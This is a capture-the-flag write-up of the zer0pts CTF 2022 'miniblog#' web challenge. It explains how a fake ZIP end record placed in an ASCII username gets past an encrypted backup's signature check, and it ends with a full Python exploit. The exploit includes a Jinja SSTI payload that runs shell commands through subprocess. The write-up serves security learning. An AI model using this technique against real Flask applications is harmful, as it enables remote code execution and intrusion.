# miniblog# - zer0pts CTF 2022
###### tags: `zer0pts CTF 2022` `web`
## Challenge
- Server is Flask + Jinja
- You can post blog articles written in HTML
- You cannot use template except for `{{title}}` and `{{author}}`
- You can import/export articles by the following code
```python=
def export_posts(self, username, passhash):
"""Export all blog posts with encryption and signature"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z:
# Archive blog posts
for path in glob.glob(f'{self.workdir}/*.json'):
z.write(path)
# Add signature so that anyone else cannot import this backup
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
# Encrypt archive so that anyone else cannot read the contents
buf.seek(0)
iv = os.urandom(16)
cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv)
encbuf = iv + cipher.encrypt(buf.read())
return None, base64.b64encode(encbuf).decode()
def import_posts(self, b64encbuf, username, passhash):
"""Import blog posts from backup file"""
encbuf = base64.b64decode(b64encbuf)
cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16])
buf = io.BytesIO(cipher.decrypt(encbuf[16:]))
try:
with zipfile.ZipFile(buf, 'r', zipfile.ZIP_DEFLATED) as z:
# Check signature
if z.comment != f'SIGNATURE:{username}:{passhash}'.encode():
return 'This is not your database'
# Extract archive
z.extractall()
except:
return 'The database is broken'
return None
```
## Analysis
Let's check what import/export (backup) is doing.
First of all, the blog posts are compressed to a zip file:
```python
with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z:
# Archive blog posts
for path in glob.glob(f'{self.workdir}/*.json'):
z.write(path)
```
and a signature is set to the comment field of the zip file:
```python
# Add signature so that anyone else cannot import this backup
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
```
The signature consists of the username and the password hash. This value is checked when importing the backup file.
The binary data of the zip file will be encrypted by AES (CFB mode) with an unknown key.
```python
# Encrypt archive so that anyone else cannot read the contents
buf.seek(0)
iv = os.urandom(16)
cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv)
encbuf = iv + cipher.encrypt(buf.read())
return None, base64.b64encode(encbuf).decode()
```
Import does the reverse operation and checks signature written in the zip comment.
```python
with zipfile.ZipFile(buf, 'r', zipfile.ZIP_DEFLATED) as z:
# Check signature
if z.comment != f'SIGNATURE:{username}:{passhash}'.encode():
return 'This is not your database'
# Extract archive
z.extractall()
```
We want to upload arbitrary blog post so that we can inject template string to achieve RCE. However, the encryption makes it impossible to modify the contents of the zip file.
## Structure of ZIP
The ZIP specification is simple enough.
The most important part of the ZIP structure in this challenge is the comment field. ZIP has a meta data called **End of Directory Header** (EDH) which stores information about the number of files, offset to the file lists, and so on. EDH exists at the very end (tail) of a ZIP file.
So, every ZIP library seeks the end of the file and attempts to read EDH. However, EDH is such a silly structure. **It can store a variable length of comment at the end of EDH but the comment length exists before the comment**. That is, there is no way for the ZIP reader to know the size of EDH.
To address this problem, ZIP library skips comment and tries to find the magic number of EDH (`PK\x05\x06`), which requires `O(n)` operation to just find the meta data. 🤦♀️
There is no limit on the contents of the comment. It means **every ZIP reader misunderstands the position of EDH if a fake EDH exists in the ZIP comment!** If you can put an arbitrary ZIP comment, you can completely alter the contents of the ZIP.
## Crafting ASCII ZIP
So, do we just have to put a fake ZIP containing a SSTI string as blog post? No.
Remember the ZIP comment is created by password hash and username.
```python
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
```
Username is fully controllable but it must be `encode`-able, which means it must be written in UTF-8. Generally, you can only use ASCII code (`\x00`-`\x7f`) in the username.
The hardest part of this challenge is crafting an arbitrary ZIP file only with ASCII characters.
Here is the list of what a common ZIP file contains:
- Magic number (`PK\x01\x02`, `PK\x03\x04`, `PK\x05\x06`)
- Offset information (e.g., Offset to Central Directory Header)
- Size information (e.g., File size, Comment length)
- Datetime information (e.g., Creation date)
- Attributes and flags (e.g., compression method, file type, and so on)
- (Compressed) Files
- CRC32 hash of the files
Magic number is okay because it consists of some ASCII characters.
Offset and size information are also okay because we can control it by inserting some garbage data, so that the value can be represented by ASCII.
Datetime doesn't matter obviously.
The content os file is also ASCII because we're injecting an SSTI string and we can choose no-compression mode.
Flags and attributes are also ASCII-representable. (Mostly zero)
To make the CRC32 hash ASCII-representable, we can add some random ASCII data to the file by brute force until its CRC32 becomes a good value.
So, **you can write a ZIP file only with ASCII characters!**
## Exploit
Full exploit
```python=
from ptrlib import *
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
import base64
import binascii
import hashlib
import json
import os
import requests
import zipfile
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8018")
CODE = "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}"
CODE += "A"*(0x100 - len(CODE))
# Login as code executor
r = requests.post(f"http://{HOST}:{PORT}/api/login",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": "EvilFennec",
"password": "TibetanFox"}))
fox_cookies = r.cookies
serializer = TaggedJSONSerializer()
signer_kwargs = {
'key_derivation': 'hmac',
'digest_method': hashlib.sha1
}
s = URLSafeTimedSerializer(
b'',
salt='cookie-session',
serializer=serializer,
signer_kwargs=signer_kwargs
)
_, fox_session = s.loads_unsafe(fox_cookies["session"])
username = fox_session['username']
passhash = fox_session['passhash']
workdir = fox_session['workdir']
# Find ascii CRC32
logger.info("Searching CRC32...")
ORIG = CODE
while True:
data = {
"title": "exploit",
"id": "exploit",
"date": "1919/8/10 11:45:14",
"author": "a",
"content": CODE
}
x = json.dumps(data).encode()
crc32 = binascii.crc32(x)
if all([(crc32 >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
if all([(len(x) >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
break
else:
CODE = ORIG + 'A'*0x100
else:
CODE += "A"
logger.info("CRC Found: " + hex(crc32))
logger.info("ASCII Length: " + hex(len(x)))
logger.info(CODE)
# Create a malicious zip comment
os.makedirs(f"post/{workdir}", exist_ok=True)
with open(f"post/{workdir}/exploit.json", "w") as f:
json.dump(data, f)
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED) as z:
z.write(f"post/{workdir}/exploit.json")
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()
# Malform zip
logger.info("Creating ascii zip...")
size_original = 0x30
while True:
with open("exploit.zip", "rb") as f:
payload = f.read()
sz = len(payload)
lfh = payload.find(b'PK\x03\x04')
cdh = payload.find(b'PK\x01\x02')
ecdr = payload.find(b'PK\x05\x06')
## 1. Modify End of Central Directory Record
# Modify offset to CDH
payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:]
## 2. Modify Central Directory Header
# Modify relative offset to LFH
payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:]
# Modify timestamp
payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:]
# Modify attr
payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:]
## 3. Modify Local File Header
# Modify timestamp
payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:]
payload = b"A" * (size_original - 0x30) + payload
for c in payload:
if c > 0x7f:
break
else:
break
size_original += 1
logger.info("Created ascii zip!")
# ZIP comment injection
r = requests.post(f"http://{HOST}:{PORT}/api/login",
headers={"Content-Type": "application/json"},
data=json.dumps({"username": bytes2str(payload),
"password": "whatever"}))
cookies = r.cookies
logger.info("Registered malicious user")
# Export crafted exploit
r = requests.get(f"http://{HOST}:{PORT}/api/export",
cookies=cookies)
exp = json.loads(r.text)["export"]
logger.info("Exploit exported!")
# Import the exploit
r = requests.post(f"http://{HOST}:{PORT}/api/import",
headers={"Content-Type": "application/json"},
data=json.dumps({"import": exp}),
cookies=fox_cookies)
logger.info("Exploit imported!")
# Leak flag
logger.info("SSTI go brrrr...")
r = requests.get(f"http://{HOST}:{PORT}/post/exploit",
cookies=fox_cookies)
print(r.text)
```